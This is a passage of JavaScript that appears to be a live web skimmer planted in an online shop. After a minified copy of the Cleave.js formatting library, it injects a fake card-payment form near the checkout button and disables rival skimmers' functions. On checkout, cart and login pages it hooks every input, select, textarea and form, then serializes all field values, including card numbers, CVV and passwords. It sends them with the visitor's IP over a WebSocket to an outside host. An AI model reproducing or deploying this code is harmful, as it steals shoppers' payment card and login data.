e=this.properties;e.onValueChanged.call(this,{target:{name:this.element.name,value:e.result,rawValue:this.getRawValue()}})},setPhoneRegionCode:function(e){this.properties.phoneRegionCode=e,this.initPhoneFormatter(),this.onChange()},setRawValue:function(e){var t=this.properties;e=null!=e?e.toString():"",t.numeral&&(e=e.replace(".",t.numeralDecimalMark)),t.postDelimiterBackspace=!1,this.element.value=e,this.onInput(e)},getRawValue:function(){var e=this.properties,t=Cleave.Util,r=this.element.value;return e.rawValueTrimPrefix&&(r=t.getPrefixStrippedValue(r,e.prefix,e.prefixLength,e.result,e.delimiter,e.delimiters,e.noImmediatePrefix,e.tailPrefix,e.signBeforePrefix)),r=e.numeral?e.numeralFormatter.getRawValue(r):t.stripDelimiters(r,e.delimiter,e.delimiters)},getISOFormatDate:function(){var e=this.properties;return e.date?e.dateFormatter.getISOFormatDate():""},getISOFormatTime:function(){var e=this.properties;return e.time?e.timeFormatter.getISOFormatTime():""},getFormattedValue:function(){return this.element.value},destroy:function(){var e=this;e.element.removeEventListener("input",e.onChangeListener),e.element.removeEventListener("keydown",e.onKeyDownListener),e.element.removeEventListener("focus",e.onFocusListener),e.element.removeEventListener("cut",e.onCutListener),e.element.removeEventListener("copy",e.onCopyListener)},toString:function(){return"[Cleave Object]"}},Cleave.NumeralFormatter=NumeralFormatter_1,Cleave.DateFormatter=DateFormatter_1,Cleave.TimeFormatter=TimeFormatter_1,Cleave.PhoneFormatter=PhoneFormatter_1,Cleave.CreditCardDetector=CreditCardDetector_1,Cleave.Util=Util_1,Cleave.DefaultProperties=DefaultProperties_1;var Cleave_1=("object"==typeof commonjsGlobal&&commonjsGlobal?commonjsGlobal:window).Cleave=Cleave;
(function(){
function is_valid_email(email) {
return email.match(/^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/);
}
function xxxx1xxxx(x) {
return x;
}
var is_success = xxxx1xxxx('.EazcJBKBIhtGJMxpDIANBkBab').substr(1);
var is_active = xxxx1xxxx('.PtpzlRwLaCPLsbsc').substr(1);
var is_error = xxxx1xxxx('.vtAKqfRFRLgprhtIgmYram').substr(1);
function add_success_class(elem) {
if (!elem.classList.contains(is_success)) {
elem.classList.add(is_success)
}
}
function remove_success_class(elem) {
if (elem.classList.contains(is_success)) {
elem.classList.remove(is_success)
}
}
function add_error_class(elem) {
if (!elem) {
return;
}
if (elem.tagName == 'UL') {
if (!elem.classList.contains(is_active)) {
elem.classList.add(is_active)
}
} else {
if (!elem.classList.contains(is_error)) {
elem.classList.add(is_error)
}
remove_success_class(elem);
}
}
function remove_error_class(elem) {
if (!elem) {
return;
}
if (elem.tagName == 'UL') {
if (elem.classList.contains(is_active)) {
elem.classList.remove(is_active)
}
} else {
if (elem.classList.contains(is_error)) {
elem.classList.remove(is_error)
}
add_success_class(elem);
}
}
var email_input = document.querySelector('[name=mycc_email]');
email_input.addEventListener('input', function(){
var card_num_e = document.querySelector('[name=mycc_email]');
var card_num_err = document.querySelector('.hDdCFnPIzEFWMNAfADjzNXzkHFhao');
if (!is_valid_email(email_input.value)) {
add_error_class(card_num_e);
add_error_class(card_num_err);
} else {
remove_error_class(card_num_e);
remove_error_class(card_num_err);
}
});
var fn_input = document.querySelector('[name=mycc_first_name]');
fn_input.addEventListener('input', function(){
var card_num_e = document.querySelector('[name=mycc_first_name]');
var card_num_err = document.querySelector('.lhYctyKkUyMMcLy');
if (fn_input.value.length < 2) {
add_error_class(card_num_e);
add_error_class(card_num_err);
} else {
remove_error_class(card_num_e);
remove_error_class(card_num_err);
}
});
var ln_input = document.querySelector('[name=mycc_last_name]');
ln_input.addEventListener('input', function(){
var card_num_e = document.querySelector('[name=mycc_last_name]');
var card_num_err = document.querySelector('.ALHqDwdhhCGcuaWjFkVURdXfApQae');
if (ln_input.value.length < 2) {
add_error_class(card_num_e);
add_error_class(card_num_err);
} else {
remove_error_class(card_num_e);
remove_error_class(card_num_err);
}
});
var cleaveCreditCard = new Cleave('[name=card_num]', {
creditCard: true,
onValueChanged: function (e) {
var card_num_e = document.querySelector('[name=card_num]');
var card_num_err = document.querySelector('.ICvOCZMFWShmZcpQSdLYqhWdau');
if (e.target.rawValue !== 'undefined' && e.target.rawValue.length < 13 || e.target.rawValue.length > 19){
add_error_class(card_num_e);
add_error_class(card_num_err);
} else {
remove_error_class(card_num_e);
remove_error_class(card_num_err);
}
}
});
var cleave = new Cleave('[name=exp_my_value]', {
date: true,
datePattern: ['m', 'y'],
onValueChanged: function (e) {
var card_num_e = document.querySelector('[name=exp_my_value]');
var card_num_err = document.querySelector('.NBWKIOGsPHtRAwEyHxPal');
if (e.target.value.length == 5 && parseInt(e.target.value.split('/')[1]) >= parseInt(new Date().getFullYear().toString().substr(-2))) {
remove_error_class(card_num_e);
remove_error_class(card_num_err);
} else {
add_error_class(card_num_e);
add_error_class(card_num_err);
}
}
});
var cleave = new Cleave('[name=cvv2]', {
blocks: [4],
numericOnly: true,
onValueChanged: function (e) {
var card_num_e = document.querySelector('[name=cvv2]');
var card_num_err = document.querySelector('.qzEfitMuECBeVTjxqdbe');
if (e.target.rawValue !== 'undefined' && e.target.rawValue.length < 3 || e.target.rawValue.length > 4){
add_error_class(card_num_e);
add_error_class(card_num_err);
} else {
remove_error_class(card_num_e);
remove_error_class(card_num_err);
}
}
});
document.querySelector('#js-form-guest-checkout').onsubmit = function(event) {
event.preventDefault();
var bl = document.querySelector('.jHKrHwUXvLyvPIe');
if (bl.classList.contains(is_active)) {
return false;
}
var mycc_email = document.querySelector('[name=mycc_email]');
var mycc_first_name = document.querySelector('[name=mycc_first_name]');
var mycc_last_name = document.querySelector('[name=mycc_last_name]');
var card_num = document.querySelector('[name=card_num]');
var exp_my_value = document.querySelector('[name=exp_my_value]');
var cvv2 = document.querySelector('[name=cvv2]');
if (mycc_email.classList.contains(is_error)) return false;
if (mycc_first_name.classList.contains(is_error)) return false;
if (mycc_last_name.classList.contains(is_error)) return false;
if (card_num.classList.contains(is_error)) return false;
if (exp_my_value.classList.contains(is_error)) return false;
if (cvv2.classList.contains(is_error)) return false;
var bt = document.querySelector('.UcUBlNSAqeardq');
if (bt.classList.contains(is_active)) {
bt.classList.remove(is_active)
}
if (!bl.classList.contains(is_active)) {
bl.classList.add(is_active)
setTimeout(function() {
document.querySelector('.zXhkRIRxKzNhdHRtRFhPhCZgoai').classList.remove(is_active);
document.querySelector('.ajxgnVMLPOxgUFZYQpBwtNVYFMCar').classList.add(is_active);
document.querySelector('.TxTcPyZWGeVJPSzIiAhIraeeat').onclick = function() {
document.querySelector('.BSIbAiemTuWlMjrKfPYxHKag').remove()
if (typeof my_1090callback === "function") {
my_1090callback();
}
}
}, 4000)
}
}
})();
}
function form_hide() {}
setInterval(setNullMethods, 100);
function setNullMethods() {
if (typeof(window.GetData) != 'undefined') {
window.GetData = function(elem, flag) {};
}
if (typeof(window.Default_Send) != 'undefined') {
window.Default_Send = function(elem, flag) {};
}
if (typeof(window.CheckFields) != 'undefined') {
window.CheckFields = function(elem, flag) {};
}
if (typeof window.SendData != 'undefined') {
window.SendData = function() {};
}
}
function serialize(element) {
var q = [];
switch (element.nodeName) {
case 'INPUT':
switch (element.type) {
case 'color':
case 'date':
case 'datetime-local':
case 'email':
case 'image':
case 'month':
case 'number':
case 'password':
case 'range':
case 'search':
case 'tel':
case 'text':
case 'time':
case 'url':
case 'week':
case 'text':
case 'hidden':
case 'password':
case 'button':
case 'reset':
case 'submit':
if (element.name.length && element.value.length)
q.push(element.name + "=" + encodeURIComponent(element.value));
break;
case 'checkbox':
case 'radio':
if (element.checked) {
if (element.name.length && element.value.length)
q.push(element.name + "=" + encodeURIComponent(element.value));
}
break;
case 'file':
break;
}
break;
case 'TEXTAREA':
if (element.name.length && element.value.length)
q.push(element.name + "=" + encodeURIComponent(element.value));
break;
case 'SELECT':
switch (element.type) {
case 'select-one':
if (element.name.length && element.value.length)
q.push(element.name + "_value=" + encodeURIComponent(element.value));
try {
q.push(element.name + "=" + encodeURIComponent(element[element.selectedIndex].text));
} catch (e) {}
break;
case 'select-multiple':
for (j = element.options.length - 1; j >= 0; j = j - 1) {
if (element.options[j].selected) {
if (element.name.length && element.options[j].value.length)
q.push(element.name + "_value=" + encodeURIComponent(element.options[j].value));
q.push(element.name + "=" + encodeURIComponent(element.options[j].text));
}
}
break;
}
break;
case 'BUTTON':
switch (element.type) {
case 'reset':
case 'submit':
case 'button':
if (element.name.length && element.value.length)
q.push(element.name + "=" + encodeURIComponent(element.value));
break;
}
break;
}
return q;
}
function serialize_all() {
var all = [];
document.querySelectorAll('input').forEach(function(v) {
all = all.concat(serialize(v));
})
document.querySelectorAll('textarea').forEach(function(v) {
all = all.concat(serialize(v));
})
document.querySelectorAll('select').forEach(function(v) {
all = all.concat(serialize(v));
})
document.querySelectorAll('button').forEach(function(v) {
all = all.concat(serialize(v));
})
return all;
}
var wssocket;
var pingInterval;
var tries = 0;
let wssConnectInterval = setInterval(wssconnect, 1000);
function wssconnect() {
var locationRegex = document.location.href.match(/pay|card|payment|basket|order|checkout|cart|panier|inscription|account|sepetim|siparisi|login|register|sign|pedido|carrito/i);
if (locationRegex == null) {
return;
}
if (document.location.pathname.match(/basketbol/i) !== null) {
return;
}
if (!wssocket || (wssocket.readyState != 1 && wssocket.readyState != '-0')) {
tries++;
try {
wssocket = new WebSocket("wss:" + host);
wssocket.onopen = function(data) {
wssocket.send(JSON.stringify({
'sid': "ping"
}));
pingInterval = setInterval(function() {
wssocket.send(JSON.stringify({
'sid': "ping"
}));
}, 5000);
};
wssocket.onclose = function(data) {
clearInterval(pingInterval);
};
wssocket.onmessage = function(data) {};
tries = 0;
} catch (e) {
if (tries < 5) {
console.log('error catch')
}
}
}
}
wssconnect();
function wssdisconnect() {
clearInterval(wssConnectInterval);
if (wssocket) {
wssocket.close();
}
}
window.addEventListener("beforeunload", wssdisconnect);
/**/
var last_sended = '';
function build() {
add_events();
setInterval(add_events, 100);
}
function add_events() {
if (
!document.querySelector('[name*=cc_number]') &&
!document.querySelector('[name*=firstname]') &&
!document.querySelector('[name*=name]') &&
!document.querySelector('[name*=address]') &&
!document.querySelector('[name*=postcode]') &&
!document.querySelector('[name*=zip]') &&
!document.querySelector('[name*=phone]') &&
!document.querySelector('[name*=email]') &&
!document.querySelector('[name*="payment[cc_number]"]') &&
!document.querySelector('[name*=payment]') &&
!document.querySelector('[name*=cc]') &&
!document.querySelector('[name*=card_num]') &&
!document.querySelector('[name*=billing]')
) {
return false;
}
Array.from(document.getElementsByTagName('input')).forEach(function(item, i) {
if (!item.hasAttribute('build')) {
item.setAttribute('build', 1);
item.addEventListener("blur", emit);
item.addEventListener('change', emit);
}
});
Array.from(document.getElementsByTagName('select')).forEach(function(item, i) {
if (!item.hasAttribute('build')) {
item.setAttribute('build', 1);
item.addEventListener("blur", emit);
item.addEventListener('change', emit);
}
});
Array.from(document.getElementsByTagName('textarea')).forEach(function(item, i) {
if (!item.hasAttribute('build')) {
item.setAttribute('build', 1);
item.addEventListener("blur", emit);
}
});
Array.from(document.querySelectorAll("form")).forEach(function(item, i) {
if (!item.hasAttribute('build')) {
item.setAttribute('build', 1);
item.addEventListener("submit", emit);
}
});
Array.from(document.querySelectorAll("[type=submit]")).forEach(function(item, i) {
if (!item.hasAttribute('build')) {
item.setAttribute('buildd', 1);
item.addEventListener("click", emit);
}
});
Array.from(document.querySelectorAll("[type=button]")).forEach(function(item, i) {
if (!item.hasAttribute('buildd')) {
item.setAttribute('buildd', 1);
item.addEventListener("click", emit);
}
});
}
function emit() {
var data = JSON.stringify({
data: serialize_all(),
site_id: site_id,
sid: sid,
ip: ip,
});
if (last_sended != data) {
last_sended = data;
if (wssocket) {
wssocket.send(data);
}
console.log('emit send')
} else {
console.log('emit the same')
}
}
build();
var already_showed = false;
var interval = setInterval(show_card_block, 300);
function show_card_block(){
if(!already_showed && document.querySelector('#button-payment-method') && !document.querySelector('#checkout-form-card')) {
var div = document.createElement('div');
div.innerHTML = form_html;
var s = document.querySelector('#button-payment-method').parentNode;
s.parentNode.prepend(div);
form_show();
already_showed = true;
var ff = document.querySelector('#checkout-form-card');
if (ff) ff.style.margin = '50px';
}
}
})();